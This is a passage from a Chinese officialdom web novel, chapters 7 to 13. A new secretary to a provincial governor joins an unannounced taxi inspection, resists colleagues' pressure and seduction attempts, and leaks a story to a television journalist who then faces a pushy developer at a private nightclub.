“一位老朋友带我来的,有机会带你认识一下。” 第7章 私访 吃完面,两个人走出餐馆。 原本李承准备付款,但孟良德态度强硬,由他付款,李承也就没坚持。 “小李,以后不要叫省长,很多场合不适合。”走出面馆后,孟良德开口道。 其实,刚刚才面馆里,李承就已经察觉到称呼上的不对。 只是放松了警惕,说得也就随意了起来,忽略了这一点。 “那我叫你老板吧。”李承想了想,提议道。 省长和首长都属于职称,叫领导又显得疏远,叫老板稍微亲切些许。 “嗯,老板可以。” 孟良德点头,走到路边,招手拦了一辆出租车。 李承看了一眼腕表上的时间,还不到十二点。 孟良德支开了司机,选择打出租车,这证明接下来要去的地方,需要暂时保密。 孟良德是空降派,在省政府大院里想要监视他的人很多,司机同样是省政府办公厅安排的人,他信不过。 吃饭只是孟良德避开视线的简单方式,接下来要去的地方,才是这次出来的真正目的。 “师傅,去隆源机场。” 汽车朝着隆源机场的方向行驶,李承隐约间,感觉到了孟良德此行的目的。 大概率与前段时间网上流传很火的一段短视频有关。 ‘嗡..’ 口袋里的手机还在震动,李承趁着这个空档,拿出手机看了一眼。 上面是张处长发来的消息,询问李承在哪里。 他的真实目的,是想了解孟省长脱离司机后的行踪。 李承没有回复。 半个小时后,汽车下了江桥,停在了道边。 “到了。” “师傅,这还没到机场呢。”孟良德道。 “大哥,你们是外地人吧?”司机没有使动汽车,不耐烦的问。 “你怎么知道的?”孟良德笑呵呵的问。 “本地人都知道,我们市里的出租车只能驶过跨江桥,想再往里面进,你得打他们隆源地界的出租车。”司机道。 司机的话,听起来匪夷所思,但这就是事实。 像孟良德这种领导,走到哪里都有专车接送,不会遇到这种情况。 但普通百姓早已经司空见惯。 李承也深刻体会过其中无奈,有一次更是赶上飞机。 “师傅,我们着急赶飞机,这街上也没有其他出租车了,我可以加钱。”孟良德道。 “大哥,这不是钱的事儿,你也别难为我,不是我不想送,我们有规定的,那边我们真去不了,给你送去了,我这出租车以后也不用开了。”司机万般无奈的说。 “那算了。” 听到孟良德不再问,李承掏出钱包付了车费。 他紧忙下车,给孟良德打开车门后,又向司机索要了小票。 小票到时候是可以报销的。 “老板,您是看到网上那段视频了吧?”站在道边,李承问。 这段时间,一段外地游客来汉江,在雨天被拒载,出租车将她丢在桥边,足足淋了一个小时雨的视频,流传广泛,引发舆论。 “嗯,视频发布这么久了,到现在还没有整改,你联系运输...直接联系刘宝林,让他打车来见我。” 孟良德阴沉着脸,朝着前方走去。 “是。” 李承跟在孟良德的身后,翻找起号码。 关于省市各级领导电话,交接时的工作表中都有记录,方便联系。 ‘嘟..嘟..嘟...’ 电话响了几声后,对方传来一个慵懒的声音:“你好,哪位?” “你好刘市长,我是孟省长的秘书。”李承自我介绍道。 “你好,李秘书,孟省长是有什么安排吗?” 听到自己的身份,对方立马换了一种态度,语气温和。 省长秘书的电话,就象征着省长传达的旨意,刘市长不敢怠慢。 只是李承没想到,他刚上任第一天,对方就已经知道自己的姓名,看来这个小圈子里,消息很灵通。 “孟省长让你来一趟隆源大桥,他在这里等你呢。”李承道。 这一个‘等’字,足够告诉刘宝林情况的紧迫性。 “好,我现在过去。” “对了刘市长,孟省长让你务必打车过来。” “啊...好。” 听到‘打车’二字,刘宝林就算是再傻,也能明白这是一次问责。 他语气略显慌张,又紧忙答应。 在大桥三百米外,有一个凉亭,李承和孟良德坐在凉亭的长椅上,等待刘宝林。 二十分钟左右。 一台出租车停在了大桥边,汉江市市长刘宝林下了车。 “刘市长,这边。” 他环视一周,最后还是在李承的招呼声下,确定了方向,快步赶来。 在临近孟良德时,小跑过来,主动伸出手:“孟省长。” 孟良德站起身,与他握了下手,道:“刘市长,让你走了这么远,辛苦了。” 孟良德这可不是嘘寒问暖,而是在挖苦他。 “孟省长,您说笑了。”刘宝林尴尬的笑了笑。 “只是让我没想到,刘市长打的车,也过不了这跨江桥。”孟德良继续道。 两句话下来,刘宝林的额头已经见了汗。 “过了江桥就属于定江县的辖区,运管有经营区规定。” 刘宝林先解释了一番原因,这才保证道:“孟省长您放心,我回去就下令整改,确保所有去机场的乘客畅通无阻。” 刘宝林态度积极,但孟良德的脸色却沉了下来。 “刘市长,看来你什么都知道呀,今天我要是不来,这件事是不是就不会落实?” 孟良德严肃的语气里,带着不满和质问。 “不,不是,我了解这件事的时候就通知整改了,运输局那边还没有动作,我一定亲自监督,尽快落实。” 刘宝林擦了擦额头上的冷汗,解释说。 “像这种关系到城市形象和市民出行的问题,这么久了都没人管,我看啊,该整改的不是这条规定,而是整个汉江市的领导班子!” 当孟德良话音落下时,刘宝林的腿都不自觉软了一下。 李承来到汉江工作多年,出租车不能跨江的问题就一直存在。 这属于典型的领导不作为,孟良德说的很对,该整顿的是整个汉江的领导班子。 不然,类似的事情还会存在和发生... 第8章 欢迎宴 下午两点半。 孟良德去参加会议,李承在办公室里内,开始整理起资料。 今天是他工作的第一天,很多资料需要他熟悉,以备日后工作需要时,不会临时翻找,慌了手脚。 ‘咯吱’ 在他整理时,办公室的门被推开。 “忙着呢?” 综合一处处长张骏背着手,以一种审查工作的姿态,走了进来。 “嗯,整理一下资料。” 李承点了下头,心想,这家伙应该是过来兴师问罪的。 中午李承和孟良德去隆源跨江大桥时,张俊发消息问过李承行踪,李承是直到孟良德训斥过刘宝林市长后,才回复的他。 属于事后汇报。 “李秘书,今晚没安排吧,我们大家特意给你准备了欢迎宴,到时候秦秘书长也会来。”张俊笑呵呵的说。 “领导赏脸,当然有时间。” 李承没有迟疑,笑着答应下来。 接风宴属于一种潜规则,能接到邀请,是一种被单位同事重视的表现。 这种宴会,除非是服务首长抽不开身,不然一定要参加。 跟同事们熟悉一下关系,方便日后工作的开展,更何况,秦秘书长这位正厅级别的人物都来参加,李承怎可能不去。 “晚上六点半,牡丹会水韵风华,我们到时候见。” 张俊微微一笑,离开了办公室:“李秘书先忙。” “慢走,张处长。” 张俊只字不提中午的事儿,这倒是让李承有点意外。 李承也没多想,继续整理起资料。 下班后,李承将孟良德送回招待宾馆,赶往牡丹会。 牡丹会是汉江市有名的餐厅,以食材高端,价格昂贵为招牌。 是招待官场领导的必选地。 在汉江流传一句话,如果你找领导办事不去牡丹会,那么这件事就办不成。 牡丹会已经成为一种是否重视宴请对象的标杆。 李承只在牡丹会吃过一次饭,就是三年前,金河集团总经理王波招待杨兆华的那顿饭局。 ‘我的爱如潮水,爱如潮水将我向你推...’ 坐在出租车上,李承的手机响了起来。 来电显示:陈思琪。 “师父,你下班了吗?” 电话接通,陈思琪带有讨好的笑声就传了过来。 “刚下班。”李承语气冷淡。 以前的李承对陈思琪同样热情,小姑娘长得白净,漂亮,还很会来事,甜言蜜语,哄得人很开心。 可这一次,李承刚刚出事,陈思琪就对他敬而远之,那种墙头草的态度,让李承不满。 其实,其他同事对李承态度转变,李承都不在意,这就是官场的人情冷暖。 只是,李承对陈思琪付出过真心,那种疏远却寒了他的心。 “师父,你还生我气呢,我那也是逢场作戏,你应该理解的,毕竟陆涛是我的顶头上司,我一个小姑娘也禁不住他给我穿小鞋呀。 师父...我的心一直是跟你拴在一起的。” 陈思琪撒着娇,向李承解释:“师父,我今晚特意为你做了一桌子的菜,都是你喜欢吃的,可不要辜负我的心意哦。 今晚我们两个人喝一点,庆祝你高升。” “我晚上有饭局,你一个人吃吧。”李承拒绝道。 两个人,在她家,喝酒,陈思琪的这些暗示,还是让李承微微起了恻隐之心。 “没关系,我等你饭局结束,反正长夜漫漫,明天是周六,又不上班。”陈思琪笑嘻嘻的说。 “再说吧。”李承模棱两可的道。 “好嘞师父,那我等你消息,你不给我发消息,我就不睡觉。” “嗯。” 挂断电话,出租车也到达了牡丹会。 “先生您好,请问有预定吗?” 走进大厅,一位美女迎宾员鞠躬询问。 “水韵风华。”李承道。 “这边请。” 迎宾员做出请的手势,带着李承朝包厢走去。 “李秘书,你来了。” 包间内,综合一处的同事基本已经赶到,大家热情跟李承打起招呼。 “刚送完首长,来晚了一步,不好意思。” 李承回应大家的招呼时,目光落在张俊和他旁边男人的身上。 男人装作打扮很休闲,但身上无处不是透露着一种金钱的味道。 LV的衣服,爱彼的手表,脖子上还挂着一个翠绿翠绿的玉牌。 “李秘书,给你介绍一下,这位是今晚接风宴的赞助人,牡丹会的老板,陈锋,陈总。” 张俊站起身,将陈锋介绍给李承。 “李秘书,幸会。” 陈锋起身,主动向李承伸出手。 “幸会。” 李承握住陈峰的手:“陈总,让你破费了。” “这都是自家产业,不值一提,以后李秘书带朋友过来,知会我一声,有折扣,哈哈哈。” 陈锋很清楚,如果说免单,李承今后肯定不会麻烦他。 但折扣不一样,虽说,他的折扣力度基本与免单相差不大,付钱这个过场是要走的。 “提陈总,打折打到骨折,哈哈哈。”张俊开了一个玩笑。 “打骨折,住院不能服务领导是要丢工作的,还是算了吧,呵呵呵。”李承莞尔一笑,顺着张俊的玩笑,婉言拒绝了陈锋。 任何人的好意,都是为了李承这条线来接触孟良德。 这一点,李承非常有自知之明。 受了别人的好处,欠了别人的人情,早晚都是要还的。 “张处长还是爱开玩笑啊,哈哈。” 陈锋目光转向站在角落的服务员:“走菜吧。” “是,老板。” 服务员应了一声,按住麦克风,通知了下去。 “秦秘书长不是也过来吗?我们等一下吧。”李承道。 秦秘书长是这场饭局最大的领导,他不来,这些下属怎么能提前动筷? “秘书长还有其他事情要忙,晚一些可能会来,让我们先吃。”张俊解释道。 “哦哦,好。” 大家纷纷落座,饭局也正式开始。 李承的座位是被提前安排好的,左手边是陈锋,右手边是李薇儿。 李薇儿是综合一处年纪最小的,二十五岁,小圆脸,长头发,属于那种可爱型的女孩。 一米六左右的个子,却有一对令女人看会自卑,男人看了躁动的傲人身材。 尤其今天的她,穿了一套低胸装,起码是F罩起步。 张俊见李承目光在李薇儿身上停留,满意一笑:“小薇,今晚你的任务就是陪好李承同志。” 第9章 再次警告 “让我们一起来欢迎李承同志到我们省政府办公厅工作。” “欢迎李秘书。” 在张俊的张罗下,大家纷纷举杯,欢迎李承的到来。 “谢谢大家,以后工作上,还要多麻烦各位多多配合。”李承端起酒杯,跟大家共饮起来。 作为今天的主要来宾,众多同事开始轮番为李承敬酒。 推杯换盏,菜没吃几口,酒却没少喝。 一个多小时,李承已经记不起自己喝了多少杯,只感觉到脑袋晕乎乎的。 “李秘书,我敬你,以后多多关照。” 李薇儿再次端起酒杯,她今晚也没少喝,整个人在酒精的促使下,白嫩的肌肤泛着红。 “下班时间不称职务,叫我李哥就行。”李承与她碰杯,笑道。 “李哥听起来老气,我叫你承哥吧。”李薇儿嫣然一笑,说。 “嗯,可以。” 两人碰杯,李承抿了一口白酒。 李薇儿喝的是啤酒,准备将杯中酒水喝光。 或许是喝了太多酒,也或许是故意为之,酒液从她的嘴角溢出,顺着她的脖颈,流淌而下。 李承见状,抽出一张纸巾递给她。 “谢谢承哥。” 李薇儿柔声道谢,伸手接过纸巾。 “哎呀,都流进去了。”她低声呢喃一句,擦掉脖颈上的酒液后,手指拉起衣领,去擦拭里面流淌进去的酒水。 李承的角度,刚好可以看到衣领被拉开后,那份圆润饱满。 这是故意为之? 李承没有多看,连忙回避开自己的目光。 “秘书长!” 正当此时,一道招呼声让喧闹的气氛沉默下来。 李承抬头看向门口,秘书长秦海走进了包厢。 这还是李承第一次见秦海,五十多岁的年代,带着一个金丝眼镜,看起来很斯文。 “秦兄,你可算来了,我要被你这群小朋友灌多了,哈哈哈。”陈锋站起身,率先迎上秦海。 “能够陈总灌醉的人,我还没见过,呵呵呵...”秦海呵呵一笑,目光看向了已经站起身的李承。 “秘书长。” 李承见对方目光看来,微笑示意。 “不愧是孟省长亲自挑选的秘书,一表人才。”秦海走到李承的面前,伸手在他的肩膀上拍了拍。 “秘书长过奖了。” “我刚才见个朋友,来迟了,坐,我们喝两杯。” 秦海到了之后,陈锋立马让服务员上了一套餐具,并且把座位让给了秦海。 秦海很随和,虽为正厅级干部,却没有半点架子。 跟李承喝了几杯酒,聊了一会儿天,给人的感觉就像是一位和蔼可亲的前辈。 这他的这份和蔼,并没有让李承松懈,反倒是让他更加警惕起来。 李承很清楚一点,张俊敢让自己监视孟良德,背后一定有秦海的影子。 “我晚上去见了刘市长,他说下午也见到你了,还夸你年轻有为呢。”秦海温和笑道。 当他提起刘宝林时,李承知道,今晚的主戏开始了。 “算不得,刘市长和您,才是我们年轻人学习的榜样。”李承吹捧一句。 “对了,我记得今天孟省长没有会见刘市长的行程吧?”秦海循序渐进,聊入主题。 “孟省长是临时决定去隆源大桥看一看的,这才把刘市长叫了过去。”李承如实说。 事情已经发生了,秦海对经过也了解,秦海的提问,无非是一种铺垫。 “小李,你第一天参加工作,没经验,能理解,以后像这种不在行程表上的突访,记得提前跟厅里打个招呼。”秦海道。 “首长不让透露,我也不敢呀,万一被首长知道,我承受不住这份天威。”李承尴尬的解释说。 “这些事大家都心照不宣,不会传到孟省长的耳朵里,你提前打了招呼,也是为了全省工作开展的流畅性。 比如下午这件事,刘市长工作兢兢业业,但他每天的公务太多,难免有疏忽。 你提前打个招呼,刘市长提前有准备,就能带着更好的解决方案去见孟省长,不至于这么匆忙。 这不仅能提高你在这些领导们心中的好感,还能为全省工作提高效率。” 秦海说得冠冕堂皇。 听起来好像句句在理,可李承很清楚,政治斗争可不是他所讲的那么浅薄。 “小李,孟省长是京城下来的,镀过金还要走,你不一样。”秦海意味深长,里面带着警告。 “我明白,秘书长。”李承点头应是。 他的话,跟张俊对他讲的那些大致相同。 李承知道,这些人看似对自己亲切,实际上,这潭水很深。 包括对自己百般献媚的李薇儿,都可能是他们的棋子。 秦秘书长待了不到一个小时就离开了。 他此次前来的目的,是想以秘书长的身份,李承施压和控制。 传达结束,他也不屑于与这些下属浪费时间。 “我让铂金会留了包间,接下来,我们去唱歌好不好?”饭局结束,陈锋提议道。 “好,感谢陈总。” “李秘书,一会儿大展歌喉,也让我们听听你的歌声啊,哈哈哈。”张俊笑呵呵的道。 “我就不去了,今晚已经喝了够尽兴。”李承装出一副醉酒的样子,脚步虚晃,拒绝道。 现在,他还能控制自己,让自己保持理智。 再喝下去,李承怕做出出格的事情来。 毕竟,这些人中,各个都不是省油的灯,他不想被人抓住把柄。 “明天是周末,不上班,大家是欢迎你,你是主角,怎么能不去?”张俊道。 “是呀承哥,我还想听听你的歌声呢,待会我们合唱一首好不好嘛?”李薇儿抱着李承的胳膊,撒着娇。 “谢谢张处长和各位同事对我的欢迎,也感谢陈总的热情款待,但我现在的时间都是首长的。 省长万一有公务,当秘书的就不能放假,我得时刻准备着。” 李承抽出胳膊,摆了摆手,再次回绝。 “承哥...”李薇儿嘟着小嘴,语气中带着些许恳求。 “李承同志说得对,既然如此,我们也就不强留了。” 李承搬出了孟良德,张俊也不好再说些什么,目光看向李薇儿:“小薇,你晚上喝得少,去送一下李承同志,务必安全给他送到家。” 第10章 欲望与代价 “不用送我,我家离这里不远,你回去吧。” 走出牡丹会的门,李承拒绝了李薇儿的相送。 “承哥,领导特意嘱咐我,我回去也不好交代,而且,人家可不想跟他们唱歌,就想与你多待一会儿。” 李薇儿主动贴上李承,伸手挽住他的胳膊。 “那你直接回家吧,张处问你,你就说你送了。”李承抽出胳膊,与李薇儿保持开距离。 他现在的身份不同,在外面要格外注意分寸和形象。 “那你送我回家呗承哥,这么晚,你放心我一个女孩子吗?”李薇儿撒娇道。 “嗯...好。” 略作沉吟,李承答应了。 李薇儿喝了酒,作为男人,送女孩回家是一种责任心。 拦了一辆出租车,李承将李薇儿送回了家。 路上,他拿起手机,上面有七八条消息,都是陈思琪发来的。 【师父,你还没结束吗?】 【师父,怎么不回我?】 【师父,我等你等的都困了,但是我不睡。】 最近一条消息,是两分钟前发过来的。 “这么晚,是女朋友吗?”李薇儿探个脑袋,柔声问李承。 “以前审计局的一个同事。” 李承给陈思琪回了一条让她早点睡的消息,便收起手机,揣进口袋。 “承哥,你有女朋友吗?”李薇儿松了一口气,眨着大大眼睛,问。 “没有。”李承说。 “嗯嗯,那就好。” 听到李承没有女朋友,李薇儿的脸上流露出一种欣喜的笑容。 很快,汽车停到了李薇儿家楼下。 在李薇儿的撒娇下,李承将她送上了楼。 “早点睡吧,我回去了。” 待到李薇儿用钥匙打开房门,李承也准备告辞离开。 “承哥.....” 正当他准备转身,李薇儿双手环抱住李承的脖子,整个人贴在了他的身上。 “今晚别走了,好不好....” 李薇儿踮起脚尖,在李承耳边轻声说。 耳边环绕的呼吸和热气,身体触碰的柔软,都让李承感觉浑身麻酥酥的。 “你喝多了,早点休息。” 认识第一天,对方就主动投怀送抱,李承不相信这是自己的魅力。 如果今晚自己碰了这个女人,同在综合一处,以后自己会被这个女人给限制住。 闹出绯闻,传到孟良德的耳朵里,对他影响也不好。 他推开了李薇儿,丢下这句话,逃也似的离开了,留下呆愣在原地的李薇儿。 下了楼,李承站在道边等出租车。 期间看了一眼手机,上面有一条陈思琪发来的消息:【师父,不管多晚我都等你来。】 配上一张照片,是一张自拍。 照片上,陈思琪画着精致妆容,做了头发,还穿了一件很性感的黑色蕾丝睡裙,背景是一桌子的饭菜,陈思琪一口没吃。 这份执着和等候,也让李承对她的气消散了许多。 对方等了自己这么久,态度又很诚恳,李承也不想再跟她计较。 何况,孟良德主管审计,自己以后少不了跟审计局的工作来往,有一个眼线也是好事。 他跟在孟良德身边,也属于半只脚踏入上层领导圈。 人站的位置太高,也就无法洞察到基层问题。 很多时候,问题的出现不是上层领导不作为,而是底下人捂得太严,上层领导不知情。 有一个基层眼线,在这个时候就显得格外重要。 【你等我吧,我就这就过去。】 发送完短息,李承拦了一辆出租车,直奔陈思琪的家里。 ‘咚咚咚...’ “谁?” 听到房门被敲响,陈思琪询问。 “我。” ‘咯吱’ 听到李承的声音,陈思琪打开房门。 “师父,我就知道你会来的。”陈思琪直接扑在李承的怀里。 一股香气扑鼻而来。 这个大大的拥抱,让李承不知所措。 他轻轻推开陈思琪,走进客厅,关上房门。 “蜂蜜水给你准备好了,喝一点吧,一身酒气。”陈思琪贴心的端起蜂蜜水,递给李承。 李承坐在沙发上,咕咚咕咚将整杯水喝光。 “今晚我不来,你就不准备睡了吗?”李承问。 “嗯。” 陈思琪坐在李承的旁边,乖巧的点了下头:“师父,你还在生我气吗?” “算了,不生气了。”李承摆了摆手。 “就知道师父最大度了。” 陈思琪嫣然一笑,凑过去,在李承毫无防备之下,在他的脸上亲了一口。 “师父,你以后就是大领导了,可千万别忘了我...” “师父,我也想跟你一起去省政府办公厅工作,你能不能帮我运作一下,我想天天陪在你身边....” 陈思琪泛红的俏脸,伸手准备去解李承的扣子。 “我帮不到你。”李承推开陈思琪的手,从沙发上站了起来。 对方在这种时刻,提出要求,小算盘基本等于打在了李承的脸上。 如果陈思琪不提,而是以一种温顺的方式服务于李承,李承不会亏待他。 其实,李承心里也懂陈思琪的小心思。 但这些话说在了明面上,给人的感觉就变了味道,让李承顿时失去了兴致。 “我回去了,你早点睡吧。” 李承系上衬衫的扣子,从沙发上站起身。 陈思琪整理好自己的睡裙,沉默了两秒:“师父,我不急一时,什么时候调任都行,我就是想陪在你身边。” “师父,难道你不想要我吗?” 陈思琪拉住李承的手臂,楚楚可怜的问。 “如果我说,我不会利用职权帮你,你还愿意吗?”李承转头凝望着陈思琪,平静的问。 被李承质问,陈思琪哑口无言。 沉默已经是一种回答。 李承淡淡一笑,转身离开了她家。 人性就是如此,在利益的驱动下,可以做出很多违背本心的事情,还美其名曰为利益交换。 而李承想要的,不过就是一份真心对真心,陈思琪目的性太强,也太急躁了,这种女人碰不得,更谈不得,否则以后会惹大麻烦。 今晚,李承明悟了一个道理,在官场,有些女人碰不得,有些女人不能碰。 像李薇儿和陈思琪这种目的性强的,就不能碰,一时爽了,以后想甩开要付出很大代价。 第11章 透露新闻 次日,早上九点。 李承给孟良德发去一条消息,请示对方今天是否安排。 在得到对方回复没有后,他才安心的躺下,继续睡了一个回笼觉。 昨天喝了不少的酒,脑袋还是晕的,一觉睡到下午,才缓了过来。 拿起手机,上面有一条许梦的消息。 【李处长,今天晚上有时间吗?】 【有的。】李承回复。 【好的,吃火锅可以吗?】许梦询问。 【都可以,你订就行。】 【那我们五点,月华路山城火锅见。】 【好。】 跟许梦确定好时间,李承泡了一碗方便面,随便对付了一口。 洗了一个澡,李承换了一套自认为很体面的衣服,掐着时间差不多了,打车赶往月华路。 四点五十,李承赶到火锅店时,许梦就站在门口等待。 “李处长,你来了。” 许梦见李承赶到,冲他招起手。 今天的许梦穿了一身粉色小香风的套装,弯弯的波浪发披在肩膀上,像极了一位千金大小姐。 那精致的鹅蛋脸上画着漂亮的妆容,与当红花旦明星杨幂有七分相似。 “许小姐,好久不见了。” 时隔一年不见,再次见到许梦,李承还是会为她的绝色容颜所心动。 李承见过这么多女人,许梦绝对算得上是他心中最漂亮的。 “是呀,上次见还是一年前,李处长工作繁忙,我期间几次想联系,又害怕打扰你。” 许梦嫣然一笑,带着李承来到了她提前预定的包间。 “是吗?那昨天怎么想着约我吃饭了呢?”李承拉开椅子坐下,淡淡的笑道。 经历了昨晚的李薇儿和陈思琪,李承警惕的觉得,所有女人接触他,都有目的性。 包括面前的漂亮女人,也不例外。 “台领导听说你高升了,知道我们一起参加过一档节目,想让我联络一下你,看看能不能提前得到一些新闻。” 许梦丝毫不做作,将联系李承的实情讲述了出来。 这一点,让李承对她的好感增加了几分。 对方接触自己是有目的性的,就算许梦不讲,李承也知道。 所以,相比于她找其他借口打马虎眼,实话实说,更令人觉得舒服。 “许小姐倒是很实在。”李承微笑道。 “我这个人不喜欢虚伪,大家都是聪明人,我找千百个借口,李处长也不会信,不是吗?” 许梦拿起菜单,递给李承。 “你看着点就行。”李承没有接菜单,随意的说。 “麻辣牛肉,极品上脑,羊小排,毛肚,黄喉....” “够了,就我们两个人吃。” 许梦点了很多,已经超出了两个人的量。 “没关系,台里报销。”许梦莞尔一笑,继续点菜。 李承也不再劝阻。 “刚才许小姐说,想从我这里得到些新闻是吧?”李承拿起水壶,给许梦倒了一杯。 “谢谢。” 许梦接过水杯,道了声谢:“李处长不愿意也没关系,我们吃饭聊天,就当是朋友聚餐。” “饭都吃了,忙当然要帮,总不能让许小姐回去没交代。” 李承喝了一口茶水,将水杯放下后,从口袋中拿出手机,递到许梦面前:“看看这个,算不算新闻。” 李承不是恋爱脑,看到美女请求,就愿意给爆料。 许梦是媒体人,而现在是网络时代,媒体和舆论的力量是恐怖的。 有时候甚至可以改变一些政策。 李承主动给许梦爆料,不止是帮她,也是在借助她的力量。 “孟省长和刘市长。”许梦认真的看着照片,柳眉微皱:“我没太看懂。” “前段时间关于隆源大桥出租车拒载的舆论事件,孟省长也关注到了,昨天我与首长打出租车去暗访,也遭到了拒载,这是孟省长训话的照片。” 李承将昨天下午发生的事情,大致讲给了许梦。 “这的确是好素材,网络上还有大批网友再蹲这件事的后续,孟省长亲自出面解决问题,不仅可以重塑汉江市形象,还能提高孟省长在大众心中的认可度。” 作为媒体人,许梦立马洞察到这几张照片后面的卖点。 而她所说的,也正是李承想办的事情。 作为秘书,也要在某些层面为领导排忧解难。 孟良德面对的政敌很多,只要将他的知名度在大众心中提高,让民众认可这位好领导,他的政敌想要绊倒他,就会提高一个难度。 领导班子的斗争,也要考虑到社会的影响。 只要孟良德坐的稳,李承这个秘书就能站得稳脚跟。 “这个见面礼,许小姐还满意吗?”李承微笑问。 选择将这件事曝光,李承并没有提前跟孟良德打招呼。 因为李承很清楚,关于孟良德的新闻内容,台里已经会联系宣传部,宣传部也会请示孟良德。 所以,即便自己不说,宣传部那边也不会擅自去发表。 “满意,谢谢李处长。” 许梦欣喜的点头:“我回去就写稿请示台里,争取明天就将这个新闻播报出去。” 聊天的过程中,服务员开始陆陆续续的上菜。 许梦的情商很高,跟她聊天不会有太疏远的感觉,一顿饭下来,两个人已经成了朋友,称呼也不再是李处长和许小姐。 走出火锅店,天色已经黑了。 看着街道的车水马龙,许梦一脸神秘的说:“承哥,我带你去一个好玩的地方。” “去哪?”李承忍不住的问。 “你到了就知道,就在前面不远。” 看她神秘兮兮的样子,李承也就跟着她的脚步过去了。 沿着主街走了五百米,进入一条小胡同。 胡同内,连路灯都没有,李承有点费解,不知道许梦这是要带自己去什么地方。 “到了。” 又走了两三百米,许梦停下脚步。 李承顺着她的目光看去,左手边有一个小牌匾,上面写着黄河夜总会。 与现代的酒吧相比,这里更像是十几年前的产物,跟不上时代的发展。 “你好,请出示会员卡。” 两人还未进入大门,就被门口一个保安拦住。 许梦打开包,从里面掏出一个会员卡递了过去,对方看过后,这才放行:“里面请。” 第12章 搭讪 “这还是会员制的?” 李承跟着许梦走进夜总会大门,不禁好奇的询问。 会员制入场,一般都是服务于高档客户,可看这小牌匾和偏僻的地点,跟高档似乎不沾边。 “当然了,我可是下了大功夫才弄到这张会员卡。”许梦晃了晃手中的黑色卡片,有点炫耀的味道。 说话时,两人在服务员的带领下,走过一条长长的走廊,进入主场。 当踏进主场时,李承不禁被眼前一幕惊艳到。 主场的豪华,与外观的破败形成了鲜明对比。 汉江是副省级城市,这些年,李承也跟着朋友去过一些知名酒吧,豪华程度,却都远远不及这里。 上千平米的场地,分为舞池区,有酒吧区,卡座区,还有演绎舞台。 “这得储值不少钱吧?” 两人坐在角落的一个卡台,李承打量着周围的环境和其他桌的客人,说。 “这可不是有钱就能办的。” 许梦撩了一下头发:“不过,以承哥你现在的身份,想要办张会员卡还是很轻松的。” “我以前的职位,还差点意思呗,哈哈哈。”李承玩笑的说。 许梦莞尔一笑,算是默认。 她目光在周围环视了一圈后,身体向前探,拉近与李承的距离。 “靠近演绎台的第二桌,两男三女,戴眼镜那个男人是市环保局的副局长,袁亮。 你十点钟方向,那个老秃顶,是市检察院的党组副书记,赵金福,他旁边穿藏蓝色衬衫的,是星河传说的开发商,韩总。 来这里的常客,都是他们这个身份的人。” 许梦向李承介绍起来。 跟这些人相比,自己以前审计局科长的身份,确实不到门槛。 “你了解得不少呀,看你不像是新闻记者,更像是狗仔队。”李承调侃道。 “媒体人嘛,想要收集新闻,当然要下些功夫。” 说话时,许梦点的两杯鸡尾酒已经上齐,她端起酒杯,做出与李承碰杯的动作。 李承端杯与她轻碰:“调查这些有什么用,又发表不出去。” 李承说的是实话。 许梦是省台记者,是官媒,又不是自媒体,她的任何发表都需要向台里做汇报。 事关省市级领导的报道,还关系到多人,这种新闻不可能轻易被官媒发表出去。 “以后会有机会的。”许梦抿了一口酒,说。 “其实我有点不明白,这地方除了客户隐私性强,没什么特殊之处,搞不懂他们为什么到这里。” 许梦说出心中疑惑,明亮的美眸一眨一眨的,似乎在寻求李承的解答。 虽说这些领导都会讲究一个隐蔽性,可在汉江,隐蔽性好,玩得好的,确实有很多。 这些人来这里,一定是另有目的。 以李承的经验,他给出了一个自己的猜想:“应该是集体社交,这里已经成了他们结识互相的一种酒会,这家夜总会应该是专门为了服务于官场中某一类群体,和那些富商。” “某一类,你是指?”许梦疑惑。 “与你猜想的差不多。”李承并没有具体解释,敷衍而过。 以许梦的聪明程度,当然会有猜想。 这一类人,也没有办法去详细解释。 贪污受贿,结党营私可能是这类人,通过这种特殊渠道结识一些人脉的好官,也有可能来。 所以,不能一概而论。 正在李承与许梦闲聊时,他感受到一道目光注视过来。 李承四处望去,看到星河传说开发商韩总已经站起身,正朝着他们这边走来,脸上还带着笑容。 “他好像是朝着我们来的。”李承对许梦说。 许梦看了他一眼,低声道:“承哥,他应该是认出你来了,想过来跟你打个招呼。” “我才上任一天。”李承摇头道。 “他们的消息很灵通,比狗鼻子还灵。”许梦说。 “不,我觉得是奔着你来的。”李承再次摇头。 如果对方认出了自己,李承觉得,来的人不止是这位韩总,包括检察院的党组副书记也会过来。 这不是李承自负,是他这个‘二号首长’的特殊身份,赋予他的自信。 “你是许梦小姐,对吗?” 韩总走到两人面前,礼貌地询问道。 “你认识我?”许梦仰起头,问。 “新闻女神,在汉江不认识你的人少吧,哈哈哈。” 韩总呵呵一笑,目光在李承身上一扫而过后,主动递上名牌:“许小姐,很荣幸在这里见到你,鄙人韩东升,星河传说的老板,这是我的名牌。” “嗯,你有什么事情吗?” 许梦接过他的名牌,态度清冷地问。 “检察院的赵书记想请你过去喝一杯酒,方便吗?”韩东升提出对方的名号。 在韩东升看来,他是汉江市的知名企业家,又打着检察院党组副书记的名号,两位大佬级别人物邀请许梦,许梦一定会乐意去结识他们。 包括李承在内,也觉得许梦不会驳了对方面子,会去打个照面。 但许梦的回答,偏离了他们两人的预想。 “我在和朋友聊天,不是很方便,帮我谢下赵书记的好意。”许梦委婉拒绝。 “许小姐,就是喝杯酒,给个面子。”韩东升继续坚持。 “不好意思,真的不方便。”许梦再次拒绝。 “许小姐,一杯酒,一万块怎么样?” 韩东升拿出手机,直接打开了扫一扫功能,表情也从最开始的热情,变得冷淡下去。 “韩总,你这有点不尊重人了吧?”许梦语气渐冷。 他花钱买许梦喝酒,这举动,跟找陪酒女没什么区别,对我许梦人格的一种亵渎。 “许小姐,别装什么高尚了,只要你今天能陪赵书记开心,酒钱除外,额外再给你十万,怎么样?” 韩东升再次抬高价码。 他给出的价格,让李承都觉得震惊。 一杯酒就是他两个月的工作,这些商人为了达成目的,哄领导开心,也真是舍得花钱啊。 可许梦并没有为韩东升的金钱打动,她的语气也冷了下来:“韩总,我不是那种人,请你离开这里!” “许梦,你是不是觉得自己很高贵啊,一杯酒一万还不行?你知不知道你们台的刘欢才多少钱!” 韩东升连番被拒绝,火气涌起。 这次,不等许梦开口,李承在明确许梦的意思后,站了出来:“韩总,适可而止吧!” 第13章 态度反转 “你是她男朋友呀?” 韩东升打量了李承一眼,冷声问。 他看李承年纪不大,穿着也朴素,又是生面孔,压根也没把李承当回事。 整个汉江市,那些领导的公子哥和大人物,他基本都见过,不认识李承这号人物。 只当李承是一个小瘪三。 “不是,普通朋友而已。”李承说。 